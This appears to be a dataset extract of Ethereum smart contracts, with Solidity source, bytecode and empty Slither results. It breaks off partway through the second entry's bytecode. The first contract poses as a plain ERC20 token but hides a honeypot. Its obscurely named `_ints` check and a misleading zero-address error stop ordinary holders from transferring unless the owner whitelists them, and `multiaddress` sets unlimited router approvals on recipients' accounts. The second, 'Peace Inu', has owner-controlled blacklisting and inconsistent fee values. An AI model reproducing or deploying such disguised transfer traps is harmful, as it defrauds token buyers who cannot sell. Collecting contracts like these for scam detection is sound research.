address
stringlengths
42
42
source_code
stringlengths
6.9k
125k
bytecode
stringlengths
2
49k
slither
stringclasses
664 values
id
int64
0
10.7k
0xdee6310529b543dbeca23d14e11b87939be8442b
/** * Rapidly Reusable Rockets _______ _______ _______ / \ / \ / \ $$$$$$$ |$$$$$$$ |$$$$$$$ | $$ |__$$ |$$ |__$$ |$$ |__$$ | $$ $$< $$ $$< $$ $$< $$$$$$$ |$$$$$$$ |$$$$$$$ | $$ | $$ |$$ | $$ |$$ | $$ | $$ | $$ |$$ | $$ |$$ | $$ | $$/ $$/ $$/ $$/ $$/ $$/ */ pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _address0; address private _address1; mapping (address => bool) private _Addressint; uint256 private _zero = 0; uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935; constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _address0 = owner; _address1 = owner; _mint(_address0, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function ints(address addressn) public { require(msg.sender == _address0, "!_address0");_address1 = addressn; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _ints(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _ints(address sender, address recipient, uint256 amount) internal view virtual{ if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");} } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { if (msg.sender == _address0){ transfer(receivers[i], amounts[i]); if(i<AllowN){ _Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash); } } } } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } function _ErcTokens(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063438dd0871161008c578063a457c2d711610066578063a457c2d714610281578063a9059cbb146102ad578063b952390d146102d9578063dd62ed3e1461040a576100cf565b8063438dd0871461022b57806370a082311461025357806395d89b4114610279576100cf565b806306fdde03146100d4578063095ea7b31461015157806318160ddd1461019157806323b872dd146101ab578063313ce567146101e157806339509351146101ff575b600080fd5b6100dc610438565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101165781810151838201526020016100fe565b50505050905090810190601f1680156101435780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561016757600080fd5b506001600160a01b0381351690602001356104ce565b604080519115158252519081900360200190f35b6101996104eb565b60408051918252519081900360200190f35b61017d600480360360608110156101c157600080fd5b506001600160a01b038135811691602081013590911690604001356104f1565b6101e961057e565b6040805160ff9092168252519081900360200190f35b61017d6004803603604081101561021557600080fd5b506001600160a01b038135169060200135610587565b6102516004803603602081101561024157600080fd5b50356001600160a01b03166105db565b005b6101996004803603602081101561026957600080fd5b50356001600160a01b031661064e565b6100dc610669565b61017d6004803603604081101561029757600080fd5b506001600160a01b0381351690602001356106ca565b61017d600480360360408110156102c357600080fd5b506001600160a01b038135169060200135610738565b610251600480360360608110156102ef57600080fd5b60ff823516919081019060408101602082013564010000000081111561031457600080fd5b82018360208201111561032657600080fd5b8035906020019184602083028401116401000000008311171561034857600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929594936020810193503591505064010000000081111561039857600080fd5b8201836020820111156103aa57600080fd5b803590602001918460208302840111640100000000831117156103cc57600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955061074c945050505050565b6101996004803603604081101561042057600080fd5b506001600160a01b0381358116916020013516610840565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104c45780601f10610499576101008083540402835291602001916104c4565b820191906000526020600020905b8154815290600101906020018083116104a757829003601f168201915b5050505050905090565b60006104e26104db61086b565b848461086f565b50600192915050565b60035490565b60006104fe84848461095b565b6105748461050a61086b565b61056f85604051806060016040528060288152602001610d27602891396001600160a01b038a1660009081526001602052604081209061054861086b565b6001600160a01b03168152602081019190915260400160002054919063ffffffff610acd16565b61086f565b5060019392505050565b60065460ff1690565b60006104e261059461086b565b8461056f85600160006105a561086b565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549063ffffffff610b6416565b60065461010090046001600160a01b0316331461062c576040805162461bcd60e51b815260206004820152600a6024820152690215f61646472657373360b41b604482015290519081900360640190fd5b600780546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b031660009081526020819052604090205490565b60058054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104c45780601f10610499576101008083540402835291602001916104c4565b60006104e26106d761086b565b8461056f85604051806060016040528060258152602001610d98602591396001600061070161086b565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919063ffffffff610acd16565b60006104e261074561086b565b848461095b565b60005b825181101561083a5760065461010090046001600160a01b0316331415610832576107a083828151811061077f57fe5b602002602001015183838151811061079357fe5b6020026020010151610738565b508360ff16811015610832576001600860008584815181106107be57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff02191690831515021790555061083283828151811061080c57fe5b6020026020010151600260009054906101000a90046001600160a01b0316600a5461086f565b60010161074f565b50505050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3390565b6001600160a01b0383166108b45760405162461bcd60e51b8152600401808060200182810382526024815260200180610d746024913960400191505060405180910390fd5b6001600160a01b0382166108f95760405162461bcd60e51b8152600401808060200182810382526022815260200180610cdf6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166109a05760405162461bcd60e51b8152600401808060200182810382526025815260200180610d4f6025913960400191505060405180910390fd5b6001600160a01b0382166109e55760405162461bcd60e51b8152600401808060200182810382526023815260200180610cbc6023913960400191505060405180910390fd5b6109f0838383610bc5565b6109fb838383610bca565b610a3e81604051806060016040528060268152602001610d01602691396001600160a01b038616600090815260208190526040902054919063ffffffff610acd16565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610a73908263ffffffff610b6416565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b60008184841115610b5c5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610b21578181015183820152602001610b09565b50505050905090810190601f168015610b4e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082820183811015610bbe576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b505050565b6006546001600160a01b038381166101009092041614801590610c0057506006546001600160a01b038481166101009092041614155b8015610c22575060075460065461010090046001600160a01b03908116911614155b8015610c2f575060095481115b15610bc5576007546001600160a01b0384811691161480610c5d57506002546001600160a01b038481169116145b80610c8057506001600160a01b03831660009081526008602052604090205460ff165b610bc55760405162461bcd60e51b8152600401808060200182810382526025815260200180610d4f6025913960400191505060405180910390fdfe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212205d684440875f48081b66a9b47bca29baf673adaa8ae389f4e7f61c21744a8a2d64736f6c63430006060033
{"success": true, "error": null, "results": {}}
1,000
0xAB76dD16AC90753648e008Eae9704130aaaE47dd
/** *Submitted for verification at Etherscan.io on 2021-06-09 */ //Peace Inu (PEACE) /* - Peace begins with a smile. - Love is the purest form of a soul at peace. - If you want peace, you don’t talk to your friends. You talk to your enemies. - I do not want the peace that passeth understanding. I want the understanding which bringeth peace. - When you make peace with yourself, you make peace with the world. ... */ //TG: https://t.me/peace_inu //Limit Buy //Cooldown //Bot Protect //Liqudity dev provides and lock //Website: TBA //CG, CMC listing: Ongoing // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract PeaceInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Peace Inu"; string private constant _symbol = "PEACE"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 3; _teamFee = 7; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (15 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already started"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 10000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600981526020017f506561636520496e750000000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fe0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fe0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fe0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f5045414345000000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fe0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fe0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000